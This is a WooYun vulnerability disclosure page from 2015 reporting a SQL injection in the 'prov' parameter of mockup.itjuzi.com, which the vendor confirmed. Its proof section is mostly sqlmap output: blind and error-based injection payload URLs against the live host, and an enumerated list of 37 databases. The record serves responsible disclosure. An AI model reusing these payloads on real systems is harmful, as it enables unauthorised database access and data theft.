当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0161884

漏洞标题:IT桔子某站SQL注入二(37库 root用户 DBA权限)

相关厂商:itjuzi.com

漏洞作者: 天地不仁 以万物为刍狗

提交时间:2015-12-16 18:09

修复时间:2016-01-28 17:10

公开时间:2016-01-28 17:10

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-16: 细节已通知厂商并且等待厂商处理中
2015-12-16: 厂商已经确认,细节仅向厂商公开
2015-12-26: 细节向核心白帽子及相关领域专家公开
2016-01-05: 细节向普通白帽子公开
2016-01-15: 细节向实习白帽子公开
2016-01-28: 细节向公众公开

简要描述:

23333

详细说明:

http://mockup.itjuzi.com:80/company/foreign?prov=-3922
prov 参数可注入

0.png


漏洞证明:

URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if an
y)? [y/N] n
sqlmap identified the following injection point(s) with a total of 476 HTTP(s) r
equests:
---
Parameter: #1* (URI)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
Payload: http://mockup.itjuzi.com:80/company/foreign?prov=-4158" OR 7504=750
4#
Type: error-based
Title: MySQL OR error-based - WHERE or HAVING clause
Payload: http://mockup.itjuzi.com:80/company/foreign?prov=-3922" OR 1 GROUP
BY CONCAT(0x716a706a71,(SELECT (CASE WHEN (3824=3824) THEN 1 ELSE 0 END)),0x7171
6a6271,FLOOR(RAND(0)*2)) HAVING MIN(0)#
---
[18:01:09] [INFO] testing MySQL
[18:01:09] [INFO] confirming MySQL
[18:01:10] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.4.13, Nginx
back-end DBMS: MySQL >= 5.0.0
[18:01:10] [INFO] fetching database names
[18:01:11] [INFO] the SQL query used returns 37 entries
[18:01:11] [INFO] retrieved: information_schema
[18:01:12] [INFO] retrieved: aidena
[18:01:12] [INFO] retrieved: apple
[18:01:13] [INFO] retrieved: apple_cn
[18:01:13] [INFO] retrieved: avgouzai
[18:01:14] [INFO] retrieved: bdxzjklt
[18:01:14] [INFO] retrieved: blog_chktips
[18:01:15] [INFO] retrieved: blogitjuzi
[18:01:15] [INFO] retrieved: cciehunhun
[18:01:19] [INFO] retrieved: chktips
[18:01:20] [INFO] retrieved: dear_there
[18:01:20] [INFO] retrieved: demo_chktips
[18:01:21] [INFO] retrieved: dengta
[18:01:24] [INFO] retrieved: dev_yahoo
[18:01:25] [INFO] retrieved: itjuzi
[18:01:28] [INFO] retrieved: itjuzidemo
[18:01:29] [INFO] retrieved: jutongshe
[18:01:29] [INFO] retrieved: kejiju
[18:01:30] [INFO] retrieved: kids_db
[18:01:30] [INFO] retrieved: letcodefly
[18:01:31] [INFO] retrieved: meximexi
[18:01:33] [INFO] retrieved: mysql
[18:01:33] [INFO] retrieved: mysqlslap
[18:01:35] [INFO] retrieved: nagios
[18:01:35] [INFO] retrieved: psdhere
[18:01:36] [INFO] retrieved: redmine
[18:01:36] [INFO] retrieved: seeker
[18:01:37] [INFO] retrieved: seeker_test
[18:01:37] [INFO] retrieved: sochips
[18:01:38] [INFO] retrieved: spider_article
[18:01:39] [INFO] retrieved: ssmli
[18:01:39] [INFO] retrieved: test
[18:01:40] [INFO] retrieved: tobshe
[18:01:40] [INFO] retrieved: touzishuju
[18:01:40] [INFO] retrieved: wp_new
[18:01:41] [INFO] retrieved: wp_new_2
[18:01:41] [INFO] retrieved: zangels
available databases [37]:
[*] aidena
[*] apple
[*] apple_cn
[*] avgouzai
[*] bdxzjklt
[*] blog_chktips
[*] blogitjuzi
[*] cciehunhun
[*] chktips
[*] dear_there
[*] demo_chktips
[*] dengta
[*] dev_yahoo
[*] information_schema
[*] itjuzi
[*] itjuzidemo
[*] jutongshe
[*] kejiju
[*] kids_db
[*] letcodefly
[*] meximexi
[*] mysql
[*] mysqlslap
[*] nagios
[*] psdhere
[*] redmine
[*] seeker
[*] seeker_test
[*] sochips
[*] spider_article
[*] ssmli
[*] test
[*] tobshe
[*] touzishuju
[*] wp_new
[*] wp_new_2
[*] zangels
[18:01:41] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 421 times
[18:01:41] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\mockup.itjuzi.com'
[*] shutting down at 18:01:41

修复方案:

版权声明:转载请注明来源 天地不仁 以万物为刍狗@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-12-16 18:16

厂商回复:

无证运维管理的测试服务器,已打晕喂狗,谢谢再次关注与提醒。

最新状态:

暂无